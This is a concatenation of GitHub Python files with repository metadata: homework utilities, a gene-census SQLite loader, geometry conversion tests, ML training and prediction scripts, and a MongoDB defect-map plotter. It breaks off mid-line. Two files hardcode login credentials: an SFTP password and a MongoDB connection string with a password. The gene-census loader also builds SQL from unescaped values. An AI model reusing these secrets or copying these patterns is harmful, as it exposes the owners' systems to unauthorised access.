symbol_counter(smb_to_count: str, line_in: str) -> int:\n \"\"\"\n Count amount of definite symbol in line\n :param smb_to_count: str\n :param line_in: str\n :return: int\n \"\"\"\n amt = 0\n if len(line_in) < len(smb_to_count):\n raise TypeError('Wrong consequence of arguments.')\n for smb in line_in:\n if smb == smb_to_count:\n amt += 1\n return amt\n\n\n# function 2\ndef longest_consequence(line_in: str) -> (str, int):\n \"\"\"\n Find longest continuing consequence of symbol\n :param line_in: str\n :return: tuple [str, int]\n \"\"\"\n amt = 1\n amt_max = 0\n tmp_smb = line_in[0]\n prev_smb = ' '\n for smb in line_in[1:]:\n if smb == tmp_smb:\n amt += 1\n else:\n prev_smb = [prev_smb, tmp_smb][amt_max < amt]\n amt_max = [amt_max, amt][amt_max < amt]\n amt = 1\n tmp_smb = smb\n prev_smb = [prev_smb, tmp_smb][amt_max < amt]\n amt_max = [amt_max, amt][amt_max < amt]\n return prev_smb, amt_max\n\n\n# function 3\ndef factorial_linear(number: int) -> int:\n \"\"\"linear factorial calculation\"\"\"\n result = 1\n if number == 0:\n return 1\n while number > 0:\n result *= number\n number -= 1\n return result\n\n\n# function 4\ndef factorial_rec(number: int) -> int:\n \"\"\"recursive factorial calculation\"\"\"\n if number == 0:\n return 1\n return number * factorial_rec(number - 1)\n\n\n# function 5\ndef fibonacci_rec(num: int):\n if num <= 2:\n return 1\n return fibonacci_rec(num - 1) + fibonacci_rec(num - 2)\n\n\n# counter function\ndef counting_function(func):\n count = 0\n\n def inner(*args):\n nonlocal count\n count += 1\n print(f'Function \"{func.__name__}\" calls: {count}')\n return func(*args)\n\n return inner\n\n\ndef main():\n test_lines = ['aaaa_bbb_aa_bbbbb_aaibmn',\n 'a_b_cdefghijkkknopqrst',\n 'zzzzzzzzzabcdefghijkkkt',\n 'abcdefghijkkktttttttt',\n 'zzzzzzzzzabcdefghijkkkt',\n ]\n\n cnt_symbol_counter = counting_function(symbol_counter)\n cnt_longest_consequence = counting_function(longest_consequence)\n for test_line in test_lines:\n print(cnt_longest_consequence(test_line))\n print(cnt_symbol_counter('b', test_line, ))\n\n cnt_factorial_linear = counting_function(factorial_linear)\n cnt_factorial_rec = counting_function(factorial_rec)\n for i in range(5):\n print(cnt_factorial_linear(i))\n print(cnt_factorial_rec(i))\n\n cnt_fibonacci_rec = counting_function(fibonacci_rec)\n print(cnt_fibonacci_rec(10))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"BeliaevAndrey/SN_WS_homeworks","sub_path":"block_02/Medium/task02_01.py","file_name":"task02_01.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73087635414","text":"import sys\r\nimport os\r\nimport csv\r\nimport traceback\r\nimport paramiko\r\nimport sqlite3\r\n\r\ndef download_sftp (socket, user, pswd, path_sftp, path_local):\r\n t = paramiko.Transport(socket)\r\n t.connect(username=user, password=pswd)\r\n sftp = paramiko.SFTPClient.from_transport(t)\r\n sftp.get(path_sftp, path_csv)\r\n\r\ndef make_input_file (path_in, path_out):\r\n line_num = 0\r\n with open(path_in, 'rb') as file_in:\r\n with open(path_out, 'wb') as file_out:\r\n csv_in = csv.DictReader(file_in)\r\n csv_out = csv.writer(file_out, delimiter = '\\t')\r\n \r\n for line in csv_in:\r\n line_num +=1\r\n row = []\r\n row.append(line['Gene Symbol'])\r\n row.append(line['Mutation Types'])\r\n row.append(line['Role in Cancer'].replace('oncogene','Oncogene'))\r\n if line['Somatic'] or line['Germline']:\r\n if line['Somatic'] and line['Germline']:\r\n row.append('somatic/germline')\r\n elif line['Somatic']:\r\n row.append('somatic')\r\n else:\r\n row.append('germline')\r\n else:\r\n row.append('')\r\n row.append(line['Tumour Types(Somatic)'])\r\n row.append(line['Tumour Types(Germline)'])\r\n # Write the row into the tsv file\r\n csv_out.writerow(row)\r\n \r\ndef write_db(db, input_src):\r\n table = 'cgc'\r\n \r\n stmt = 'drop table if exists ' + table\r\n c.execute(stmt)\r\n \r\n stmt = 'create table ' + table + ' (hugo text, mut_types text, ' +\\\r\n 'role text, inheritance text, tumor_types_somatic text, ' +\\\r\n 'tumor_types_germline text)'\r\n c.execute(stmt)\r\n \r\n sql = 'create index cgc_idx0 on cgc (hugo)'\r\n c.execute(sql)\r\n \r\n f = open(path_sql_file)\r\n for line in f:\r\n [v1, v2, v3, v4, v5, v6] = line.strip('\\r\\n').split('\\t')\r\n sql = 'insert into ' + table + ' values (\"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\")' % (v1, v2, v3, v4, v5, v6)\r\n c.execute(sql)\r\n db.commit()\r\n\r\nhostname = 'sftp-cancer.sanger.ac.uk'\r\nport = 22\r\nusername = 'rkim37@jhu.edu'\r\npassword = 'G+3nX2\\'('\r\npath_sftp = 'files/grch38/cosmic/v84/cancer_gene_census.csv'\r\nfilename = path_sftp.split('/')[-1]\r\n\r\npath_csv = os.path.join(filename)\r\npath_sql_file = os.path.join('cgc.tsv')\r\n\r\nprint('Downloading from: %s' %hostname)\r\n#download_sftp( (hostname, port), username, password, path_sftp, path_csv)\r\nprint('Downloaded to: %s' %path_csv)\r\n\r\nprint('Making SQL input file')\r\nmake_input_file(path_csv, path_sql_file)\r\nprint('SQL file created: %s' %path_sql_file)\r\n\r\nprint('Writing to SQL Database')\r\ndb = sqlite3.connect('cgc.sqlite')\r\nc = db.cursor()\r\nwrite_db(db, path_sql_file)\r\nc.close()\r\ndb.close()\r\nprint('Database creation complete')","repo_name":"KarchinLab/CRAVAT-aux","sub_path":"newarch/cgc.py","file_name":"cgc.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8017899087","text":"import os as _os\nimport pathlib as _pl\nimport pyg4ometry.geant4 as _g4\nimport pyg4ometry.gdml as _gd\nimport pyg4ometry.convert as _convert\nimport pyg4ometry.fluka as _fluka\nimport pyg4ometry.visualisation as _vi\nimport numpy as _np\nimport filecmp as _fc\n\n\ndef Test(\n vis=False,\n interactive=False,\n fluka=True,\n n_slice=16,\n n_stack=16,\n outputPath=None,\n refFilePath=None,\n):\n if not outputPath:\n outputPath = _pl.Path(__file__).parent\n\n # registry\n reg = _g4.Registry()\n\n # defines\n wx = _gd.Constant(\"wx\", \"100\", reg, True)\n wy = _gd.Constant(\"wy\", \"100\", reg, True)\n wz = _gd.Constant(\"wz\", \"100\", reg, True)\n\n # pi = _gd.Constant(\"pi\",\"3.1415926\",reg,True)\n prlo = _gd.Constant(\"prlo\", \"2\", reg, True)\n prhi = _gd.Constant(\"prhi\", \"15\", reg, True)\n pz = _gd.Constant(\"pz\", \"50\", reg, True)\n\n # materials\n wm = _g4.nist_material_2geant4Material(\"G4_Galactic\")\n pm = _g4.nist_material_2geant4Material(\"G4_Fe\")\n\n # solids\n ws = _g4.solid.Box(\"ws\", wx, wy, wz, reg, \"mm\")\n ps = _g4.solid.Paraboloid(\"ps\", pz, prlo, prhi, reg, nslice=n_slice, nstack=n_stack)\n\n # structure\n wl = _g4.LogicalVolume(ws, wm, \"wl\", reg)\n pl = _g4.LogicalVolume(ps, pm, \"pl\", reg)\n pp = _g4.PhysicalVolume([0, 0, 0], [0, 0, 0], pl, \"p_pv1\", wl, reg)\n\n # set world volume\n reg.setWorld(wl.name)\n\n # test extent of physical volume\n extentBB = wl.extent(includeBoundingSolid=True)\n\n # gdml output\n w = _gd.Writer()\n w.addDetector(reg)\n w.write(outputPath / \"T018_geant4Paraboloid2Fluka.gdml\")\n\n # fluka conversion\n if fluka:\n freg = _convert.geant4Reg2FlukaReg(reg)\n w = _fluka.Writer()\n w.addDetector(freg)\n w.write(outputPath / \"T018_geant4Paraboloid2Fluka.inp\")\n\n # flair output file\n f = _fluka.Flair(\"T018_geant4Paraboloid2Fluka.inp\", extentBB)\n f.write(outputPath / \"T018_geant4Paraboloid2Fluka.flair\")\n\n if vis:\n v = _vi.VtkViewer()\n v.addLogicalVolume(wl)\n v.addAxes(_vi.axesFromExtents(extentBB)[0])\n v.view(interactive=interactive)\n\n if refFilePath is not None:\n assert _fc.cmp(refFilePath, outputPath / \"T018_geant4Paraboloid2Fluka.inp\", shallow=False)\n\n return {\"greg\": reg, \"freg\": freg}\n\n\nif __name__ == \"__main__\":\n Test()\n","repo_name":"g4edge/pyg4ometry","sub_path":"tests/convert/T018_geant4Paraboloid2Fluka.py","file_name":"T018_geant4Paraboloid2Fluka.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"21478949606","text":"# Making copies of file into new backup file\nflag = 0\nwhile flag == 0:\n try:\n filename1 = input('Input the filename you want to backup: ')\n if filename1 == 'exit':\n break\n print('You stopped the program.')\n filename2 = 'backup' + filename1\n file1 = open(filename1, 'rb')\n file2 = open(filename2, 'wb')\n file2.write(file1.read())\n file1.close\n file2.close\n flag = 1\n print('Backup was succesfully made!')\n except FileNotFoundError:\n print(\"File doesn`t exist. Try again!\")\n\ninp = input()\n\n# open('filename', 'r or w or a or b(rb\\wb)')\n# r - Read file\n# w - Write file\n# a - Append file(Дополнить)\n#\n# b - Binary mode\n\n# cmd -> pyinstaller -F filename.py\n\n# with open('filename', 'r') as f:\n# print(f.read(5)) # read first 5 bytes of the file\n# # \"with\" will close the file after executing\n# # this indentation block\n# so you don`t need f.close here\n","repo_name":"VoorheesDev/Learning-Python","sub_path":"Working with files/main_file_backup(binary mode).py","file_name":"main_file_backup(binary mode).py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70148166933","text":"import argparse\nimport json\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\n\nimport dataset\nfrom models import UNet\nimport trainer\nimport utils\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-c\",\n \"--config\",\n type=str,\n default=\"./config.json\",\n help=\"config file location (default: config.json)\",\n )\n parser.add_argument(\n \"-n\", \"--name\", type=str, default=None, help=\"model name (default: random name)\"\n )\n FLAGS = parser.parse_args()\n\n with open(FLAGS.config) as file:\n config = json.load(file)\n\n test_dataset = dataset.SegmentationImageDataset(config[\"data_files\"][\"valid\"])\n sup_dataset = dataset.SegmentationImageDataset(\n config[\"data_files\"][\"labeled\"], rotate=True, flip=True\n )\n if config[\"mode\"] == \"semisupervised\":\n unsup_dataset = dataset.SegmentationImageDataset(\n config[\"data_files\"][\"unlabeled\"], rotate=True, flip=True\n )\n len_unsup_dataset = len(unsup_dataset)\n else:\n unsup_dataset = None\n len_unsup_dataset = 0\n\n print(\n f\"datasets loaded:\\n\\\n {len(sup_dataset)} labeled examples\\n\\\n {len_unsup_dataset} unlabeled examples\\n\\\n {len(test_dataset)} testing examples\"\n )\n\n test_dataloader = DataLoader(test_dataset, batch_size=4, shuffle=True)\n sup_dataloader = DataLoader(\n sup_dataset, batch_size=config[\"batch_size\"], shuffle=True\n )\n if config[\"mode\"] == \"semisupervised\":\n unsup_dataloader = DataLoader(\n unsup_dataset, batch_size=config[\"batch_size\"], shuffle=True\n )\n else:\n unsup_dataloader = None\n dataloader = utils.SemiSupervisedDataLoader(\n sup_dataloader, unsup_dataloader, config[\"mode\"]\n )\n\n net = UNet()\n\n optimizer = torch.optim.AdamW(\n net.parameters(), lr=config[\"lr\"], weight_decay=config[\"weight_decay\"]\n )\n loss = nn.CrossEntropyLoss()\n\n net_trainer = trainer.Trainer(\n net,\n dataloader,\n test_dataloader,\n loss,\n optimizer,\n config[\"num_gpus\"],\n config[\"mode\"],\n FLAGS.name,\n )\n net_trainer.train(epochs=config[\"num_epochs\"])\n\n print(\"done!\")\n","repo_name":"jakobottar/gimondi","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27233604734","text":"from pytube import YouTube\r\nfrom playsound import playsound\r\nimport tkinter as tk\r\n\r\nwidth=550\r\nheight=150\r\ntitle='CodeX Youtube downloader'\r\nbutton_sound='click'\r\n\r\nclass YoutubeDownloader:\r\n def __init__(self):\r\n self.window=tk.Tk()\r\n self.window.geometry('{}x{}'.format(width,height))\r\n self.window.configure(by='#29211#')\r\n self.window.title(title)\r\n\r\n self.link_label=tk.Label(self.window,text='Paste Download Link')\r\n self.link_label.grid(column=0,row=0)\r\n self.link_label=tk.Label(self.window,text='Save File as')\r\n self.link_label.grid(column=0,row=1)\r\n self.link_label=tk.Label(self.window,text='Save File Path')\r\n self.link_label.grid(column=0,row=2)\r\n\r\n def run_app(self):\r\n self.window.mainloop()\r\n return\r\nif __name__==\"__main__\":\r\n app=YoutubeDownloader()\r\n app.run_app()","repo_name":"GodwinOkpechi/python-projects-in-process","sub_path":"project_2.py","file_name":"project_2.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19030984971","text":"# 每日產出 AT 和 lum 的 defectmap plotly 比對圖\n\nimport pandas as pd\nimport numpy as np\nimport schedule\nfrom datetime import date, timedelta, datetime\nimport time\nfrom pymongo import MongoClient \nimport os\nimport logging\nimport plotly.graph_objects as go\n\ndef CreateLog(fileName, logPath):\n if not os.path.exists(logPath):\n os.mkdir(logPath)\n logging.basicConfig(\n filename= f'./log/{fileName}', \n filemode= 'w', \n format= '%(asctime)s - %(message)s', \n encoding= 'utf-8'\n )\n else:\n logging.basicConfig(\n filename= f'./log/{fileName}', \n filemode='a', \n format='%(asctime)s - %(message)s',\n encoding='utf-8'\n ) \n \ndef color_trans(df):\n \n df[\"LED_TYPE\"] = df[\"LED_TYPE\"].astype(str).str.replace(\"R\",\"red\")\n df[\"LED_TYPE\"] = df[\"LED_TYPE\"].astype(str).str.replace(\"G\",\"green\")\n df[\"LED_TYPE\"] = df[\"LED_TYPE\"].astype(str).str.replace(\"B\",\"blue\")\n \n return df\n\ndef plotly_multi_ver(fig,df,type,color):\n\n if type == \"lum\":\n x = \"Pixel_X\"\n y = \"Pixel_Y\"\n elif type == \"at\":\n x = \"x_no\"\n y = \"y_no\" \n\n df = df[df[\"LED_TYPE\"]==color]\n\n x_lst = np.array(df[x].to_list())\n y_lst = np.array(df[y].to_list())\n\n if type == \"lum\":\n fig.add_trace(go.Scatter(\n x=x_lst,\n y=y_lst,\n name=f\"{type} - {color}\",\n mode='markers',\n marker=dict(\n size=6,\n color=f'{color}',\n line=dict(\n color=f'{color}',\n width=1\n ),\n symbol='square-open'\n )\n )) \n elif type == \"at\":\n fig.add_trace(go.Scatter(\n x=x_lst,\n y=y_lst,\n name=f\"{type} - {color}\",\n mode='markers',\n marker=dict(\n size=5,\n color=f'{color}',\n line=dict(\n color='DarkSlateGrey',\n width=2\n ),\n symbol='circle'\n )\n )) \n\ndef job(duration):\n \n today = date.today()\n d_today = today.strftime(\"%Y%m%d\")\n d_start = int((datetime.now() - timedelta(days=duration)).strftime(\"%Y%m%d\") + \"00\")\n d_end = int(d_today + \"00\")\n\n # connect the server\n client = MongoClient('mongodb://wma:mamcb1@10.88.26.102:27017')\n db = client[\"MT\"]\n \n # LUM\n collection = db[\"AOI_LUM_Defect_Coordinates\"] \n cursor = collection.find({\"CreateTime\": {'$gt':str(d_start),'$lt':str(d_end)}})\n lum_df = pd.DataFrame.from_records(cursor) \n \n chip_list = list(set(list(lum_df.SHEET_ID)))\n\n if len(chip_list) > 0:\n \n for chipid in chip_list:\n \n logging.warning(chipid + \" : finished\")\n \n # Build figure\n fig = go.Figure()\n \n # 渲染 AT\n collection = db[\"AT2MT\"] \n cursor = collection.find({\"sheet_id\":f\"{chipid}\"})\n df_at = pd.DataFrame.from_records(cursor)\n if len(df_at)>0:\n df_at = df_at[[\"sheet_id\",\"x_no\",\"y_no\",\"LED_TYPE\"]]\n df_at = color_trans(df_at)\n plotly_multi_ver(fig,df_at,\"at\",\"red\")\n plotly_multi_ver(fig,df_at,\"at\",\"green\")\n plotly_multi_ver(fig,df_at,\"at\",\"blue\") \n \n # 渲染 LUM\n collection = db[\"AOI_LUM_Defect_Coordinates\"] \n cursor = collection.find({\"SHEET_ID\":f\"{chipid}\"})\n df_lum = pd.DataFrame.from_records(cursor)\n if len(df_lum)>0:\n\n df_lum = df_lum[[\"SHEET_ID\",\"Pixel_X\",\"Pixel_Y\",\"LED_TYPE\",\"Insepction_Type\"]]\n df_lum = df_lum[df_lum[\"Insepction_Type\"]==\"L255\"]\n df_lum = df_lum[[\"SHEET_ID\",\"Pixel_X\",\"Pixel_Y\",\"LED_TYPE\"]]\n df_lum = color_trans(df_lum)\n plotly_multi_ver(fig,df_lum,\"lum\",\"red\")\n plotly_multi_ver(fig,df_lum,\"lum\",\"green\")\n plotly_multi_ver(fig,df_lum,\"lum\",\"blue\") \n\n # # 設定 x 和 y 軸上下界\n fig.update_xaxes(range = [0,480])\n fig.update_yaxes(range = [0,270])\n\n fig.update_layout(title=f\"{chipid}\", width=1500, height=900)\n fig.write_html(f\"./output/{chipid} defect map.html\") \n \n else:\n logging.warning(\"no data\")\n\nif __name__ == '__main__':\n \n # job(1)\n schedule.every().day.at(\"05:30\").do(lambda: job(1)) \n\n while True: \n schedule.run_pending() \n time.sleep(1) \n","repo_name":"lee2nd/All-Container-Scripting","sub_path":"dailydefectmap.py","file_name":"dailydefectmap.py","file_ext":"py","file_size_in_byte":4697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"5940309934","text":"\"\"\"\nAutor: Gabriela Hilario Acuapan\nFecha: 04/04/2022\nArchivo: SumaArr.py\nDescripción: Teniendo un arreglo de enteros encuentra el resultado de la suma de los elementos del arreglo.\n\"\"\"\nprint(\"SUMA DE ELEMENTOS DE UN ARREGLO\")\n\narreglo = [1,2,3]\nprint(\"\\nEl arreglo es: \\n\" + str(arreglo))\n\ndef sum_arr(arreglo):\n suma = 0\n for n in arreglo:\n suma += int(n)\n return suma\n\nprint(\"\\nLa suma total de los números es: \" + str(sum_arr(arreglo)))","repo_name":"gaby-hack215/Python-SumaArr","sub_path":"SumaArr.py","file_name":"SumaArr.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25814847689","text":"import pandas as pd\nimport statsmodels.api as sm\nfrom application_logger import logging\nimport pickle\nimport shutil\nimport calendar\nimport re\nimport os\nimport numpy as np\nimport json\nfrom sklearn.impute import KNNImputer\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\n\n\nclass prediction(object):\n def __init__(self,file):\n self.log = logging.App_Logger()\n self.file_object = open(\"Prediction_Logs/prediction.txt\",\"a+\")\n self.file = f\"Recived_file/{file}\"\n self.model = pickle.load(open('models/model.pkl','rb'))\n\n def predictFromModel(self):\n try:\n self.log.log(self.file_object,\"<<<<<>>>>>>\")\n data = pd.read_csv(self.file)\n self.log.log(self.file_object,\"<<<<<>>>>>\")\n\n # Doing Preprocessing \n \n try:\n self.log.log(self.file_object,\"<<<<<>>>>>>\")\n columns = ['instant', 'dteday', 'casual', 'registered']\n data_new = data.drop(labels=columns,axis=1)\n self.log.log(self.file_object,\"<<<<<>>>>>\")\n except Exception as e:\n self.log.log(self.file_object,f\"<<<<<>>>>>\")\n raise Exception\n\n # Converting numerical values to ctegorical\n\n try:\n self.log.log(self.file_object,\"<<<<<>>>>>\")\n if (data_new.mnth.dtypes != 'O') == True:\n data_new['mnth'] = data_new['mnth'].apply(lambda x: calendar.month_abbr[x])\n \n if (data_new.season.dtypes != 'O') == True:\n data_new.season = data_new.season.map({1: 'Spring', 2: 'Summer', 3: 'Fall', 4: 'Winter'})\n if (data_new.weathersit.dtypes != 'O') == True:\n data_new.weathersit = data_new.weathersit.map({1: 'Clear', 2: 'Mist & Cloudy',\n 3: 'Light Snow & Rain', 4: 'Heavy Snow & Rain'})\n if (data_new.weekday.dtypes != 'O') == True:\n data_new.weekday = data_new.weekday.map({0: \"Sunday\", 1: \"Monday\", 2: \"Tuesday\", 3: \"Wednesday\", 4: \"Thrusday\", 5: \"Friday\", 6: \"Saturday\"})\n \n self.log.log(self.file_object,f\"<<<<<>>>>>\")\n\n except Exception as e:\n self.log.log(self.file_object, \"<<<>>>\")\n\n # Create Dummies \n try:\n self.log.log(self.file_object, \"<<<<<<<<<>>>>>>>>>\")\n col = ['season','mnth','weekday','weathersit']\n d = data_new[col]\n dummy = pd.get_dummies(d,drop_first=True)\n data_new_dummy = pd.concat([dummy,data_new],axis=1)\n self.log.log(self.file_object, \"<<<>>>\")\n data_new_1 = data_new_dummy.drop(col,axis=1)\n self.log.log(self.file_object, \"<<<>>>\")\n except Exception as e:\n self.log.log(self.file_object,f\"Error occured while creating dummy data..:: {e}\")\n raise Exception\n\n # Creating train test\n try:\n self.log.log(self.file_object,\"<<<<<>>>>>\")\n train,test = train_test_split(data_new_1,train_size=0.7, test_size=0.3,random_state=100)\n self.log.log(self.file_object,\"<<<>>>\")\n except Exception as e:\n self.log.log(self.file_object,f\"Error occured while creating train and test data :: {e}\")\n raise Exception\n \n # Scaling the test data\n try:\n self.log.log(self.file_object,\"<<<<<>>>>>\")\n num_vars = ['cnt','hum','windspeed','temp','atemp']\n scaler = MinMaxScaler()\n test[num_vars] = scaler.fit_transform(test[num_vars])\n self.log.log(self.file_object,\"<<<>>>\")\n except Exception as e:\n self.log.log(self.file_object,f\"Error occured while scaling :: {e}\")\n raise Exception\n \n # creating x and y datasets\n try:\n self.log.log(self.file_object,\"<<<>>>\")\n y_test = test.pop('cnt')\n x_test = test\n self.log.log(self.file_object,\"<<<>>>\")\n except Exception as e:\n self.log.log(self.file_object,f\"Error occured while creating x and y datasets...>>>>\")\n raise Exception\n\n # loading the model\n x_test = x_test[['season_Summer', 'mnth_Aug', 'mnth_Jul', 'mnth_Jun', 'mnth_Mar',\n 'mnth_May', 'mnth_Oct', 'weekday_Monday', 'weekday_Saturday',\n 'weekday_Sunday', 'weekday_Thrusday', 'weekday_Tuesday',\n 'weekday_Wednesday', 'workingday', 'atemp']]\n model = self.model\n self.log.log(self.file_object,\"<<<<>>>\")\n x_test = sm.add_constant(x_test)\n test_cols = x_test.columns\n #x_test = x_test[test_cols[1:]]\n #print(x_test.columns)\n result = list(model.predict(x_test))\n result_ = pd.DataFrame(list(zip(result)),columns=['Predictions'])\n path = 'Prediction_output/Predictions.csv'\n result_.to_csv(path,header=True,mode='a+')\n self.log.log(self.file_object,f\"<<<<<< Prediction file saved at {path}>>>>>>>\")\n\n except Exception as e:\n self.log.log(self.file_object,f\"Error while doing prediction :: {e}\")\n raise Exception\n\nclass prediction_validation(object):\n def __init__(self,file):\n self.file = file\n self.log = logging.App_Logger()\n self.file_object = open(\"Prediction_Logs/prediction_validation.txt\",\"a+\")\n self.schema = 'schema_prediction.json'\n\n def prediction_val(self):\n try:\n self.log.log(self.file_object,\"<<<<<>>>>>\")\n with open(self.schema,'r') as f:\n dic = json.load(f)\n f.close()\n \n pattern = dic['SampleFileName']\n no_of_col = dic['NumberOfColumns']\n col_names = dic['ColName']\n self.log.log(self.file_object,\"Data from schema loaded\")\n\n # Validating Columns\n try:\n self.log.log(self.file_object,\"validating column names\")\n for file in os.listdir('Recived_file'):\n if file != 'Bad_file':\n csv = pd.read_csv(f'Recived_file/{file}')\n if csv.shape[1] == no_of_col:\n pass\n else:\n self.log.log(self.file_object,f\"{file} moved due to invalid number of columns to Recived_file/Bad_file\")\n shutil.move(file,'Recived_file/Bad_file')\n self.log.log(self.file_object,\"validating file names completed successfully\")\n except Exception as e:\n self.log.log(self.file_object,f\"Validating file names failed :: {e}\")\n raise Exception\n\n # validating if any column has all values missing\n try:\n self.log.log(self.file_object,\"validating if any column has all values missing\")\n for file in os.listdir('Recived_file'):\n if file != 'Bad_file':\n csv = pd.read_csv(f'Recived_file/{file}')\n count = 0\n for columns in csv:\n if (len(csv[columns]) - csv[columns].count()) == len(csv[columns]):\n count+=1 \n shutil.move(file,'Recived_file/Bad_file')\n self.log.log(self.file_object,f\"{file} moved to Bad_file, missing all values in a column...\")\n self.log.log(self.file_object,\"Missing values in column validation completed successfully..\")\n except Exception as e:\n self.log.log(self.file_object,f\"Failed to validate column's missing values:: {e}\")\n raise Exception\n \n self.log.log(self.file_object,\"prediction validation complted successfully\")\n\n except Exception as e:\n self.log.log(self.file_object,f\"Failed to perform file validation:: {e}\")\n raise Exception","repo_name":"biswa-mohapatra/Bike_Share_New","sub_path":"predictFromModel.py","file_name":"predictFromModel.py","file_ext":"py","file_size_in_byte":8957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29682642528","text":"from config import FLAGS\nfrom utils_siamese import convert_msec_to_sec_str, get_model_info_as_str, need_val\nfrom time import time\nimport numpy as np\nfrom collections import OrderedDict\n\n\ndef train_val_loop(data, eval, model, saver, sess):\n train_costs, train_times, val_results_dict = [], [], OrderedDict()\n print('Optimization Started!')\n for iter in range(FLAGS.iters):\n iter += 1\n # Train.\n feed_dict = model.get_feed_dict_for_train(data)\n train_cost, train_time = run_tf(\n feed_dict, model, saver, sess, 'train', iter=iter)\n train_costs.append(train_cost)\n train_times.append(train_time)\n\n # Validate.\n val_s = ''\n if need_val(iter):\n t = time()\n val_results, val_s = val(data, eval, model, saver, sess, iter)\n val_time = time() - t\n val_s += ' time={}'.format(convert_msec_to_sec_str(val_time))\n val_results_dict[iter] = val_results\n model.save(sess, saver, iter)\n\n print('Iter:{:04n} train_loss={:.5f} time={} {}'.format(\n iter, train_cost, convert_msec_to_sec_str(train_time), val_s))\n\n # if iter > FLAGS.early_stopping:\n # most_recent = val_result_list[-1]\n # moving_avg = np.mean(\n # val_result_list[\n # -(FLAGS.early_stopping // FLAGS.iters_val + 1):-1])\n # delta = abs(most_recent - moving_avg)\n # # if delta < 0.001:\n # print(\"Early stopping: |{:.2f}-{:.2f}|={:.2f} < 0.001 ...\".format(\n # most_recent, moving_avg, delta))\n # # break\n\n print('Optimization Finished!')\n saver.save_train_val_info(train_costs, train_times, val_results_dict)\n return train_costs, train_times, val_results_dict\n\n\ndef val(data, eval, model, saver, sess, iter):\n gs1, gs2 = eval.get_val_gs_as_tuple(data)\n sim_mat, loss_list, time_list = run_pairs_for_val_test(\n gs1, gs2, eval, model, saver, sess, 'val')\n val_results, val_s = eval.eval_for_val(sim_mat, loss_list, time_list,\n model.get_eval_metrics_for_val())\n saver.log_val_results(val_results, iter)\n return val_results, val_s # TODO: tensorboard\n\n\ndef test(data, eval, model, saver, sess, val_results_dict):\n best_iter = model.find_load_best_model(sess, saver, val_results_dict)\n saver.clean_up_saved_models(best_iter)\n gs1, gs2 = eval.get_test_gs_as_tuple(data)\n sim_mat, loss_list, time_list = run_pairs_for_val_test(\n gs1, gs2, eval, model, saver, sess, 'test')\n node_embs_list, graph_embs_mat, emb_time = collect_embeddings(\n gs1, gs2, model, saver, sess)\n attentions = collect_attentions(gs1, gs2, model, saver, sess)\n print('Evaluating...')\n results = eval.eval_for_test(\n sim_mat, loss_list, time_list, node_embs_list, graph_embs_mat, attentions,\n model.get_eval_metrics_for_test(), saver)\n if not FLAGS.plot_results:\n pretty_print_dict(results)\n print('Results generated with {} metrics; collecting embeddings'.format(\n len(results)))\n print(get_model_info_as_str())\n saver.save_test_info(\n sim_mat, time_list, best_iter, results, node_embs_list, graph_embs_mat,\n emb_time, attentions)\n return best_iter, results\n\n\ndef run_pairs_for_val_test(row_graphs, col_graphs, eval, model, saver,\n sess, val_or_test):\n m = len(row_graphs)\n n = len(col_graphs)\n sim_mat = np.zeros((m, n))\n time_list = []\n loss_list = []\n print_count = 0\n flush = True\n for i in range(m):\n for j in range(n):\n g1 = row_graphs[i]\n g2 = col_graphs[j]\n true_sim = eval.get_true_sim(i, j, val_or_test, model)\n if true_sim is None:\n continue\n feed_dict = model.get_feed_dict_for_val_test(g1, g2, true_sim)\n (loss_i_j, sim_i_j), test_time = run_tf(\n feed_dict, model, saver, sess, val_or_test)\n if flush:\n (loss_i_j, sim_i_j), test_time = run_tf(\n feed_dict, model, saver, sess, val_or_test)\n flush = False\n test_time *= 1000\n if val_or_test == 'test' and print_count < 100:\n print('{},{},{:.2f}mec,{:.4f},{:.4f}'.format(\n i, j, test_time, sim_i_j, true_sim))\n print_count += 1\n sim_mat[i][j] = sim_i_j\n loss_list.append(loss_i_j)\n time_list.append(test_time)\n return sim_mat, loss_list, time_list\n\n\ndef run_tf(feed_dict, model, saver, sess, tvt, iter=None):\n if tvt == 'train':\n objs = [model.opt_op, model.train_loss]\n elif tvt == 'val':\n objs = [model.val_test_loss, model.pred_sim_without_act()]\n elif tvt == 'test':\n objs = [model.pred_sim_without_act()]\n elif tvt == 'test_emb':\n objs = [model.node_embeddings, model.graph_embeddings]\n elif tvt == 'test_att':\n objs = [model.attentions]\n else:\n raise RuntimeError('Unknown train_val_test {}'.format(tvt))\n objs = saver.proc_objs(objs, tvt, iter)\n t = time()\n outs = sess.run(objs, feed_dict=feed_dict)\n time_rtn = time() - t\n saver.proc_outs(outs, tvt, iter)\n if tvt == 'train':\n rtn = outs[-1]\n elif tvt == 'val' or tvt == 'test':\n np_result = model.apply_final_act_np(outs[-1])\n if tvt == 'val':\n rtn = (outs[-2], np_result)\n else:\n rtn = (0, np_result)\n elif tvt == 'test_emb':\n rtn = (outs[-2], outs[-1])\n else:\n rtn = outs[-1]\n return rtn, time_rtn\n\n\ndef collect_embeddings(test_gs, 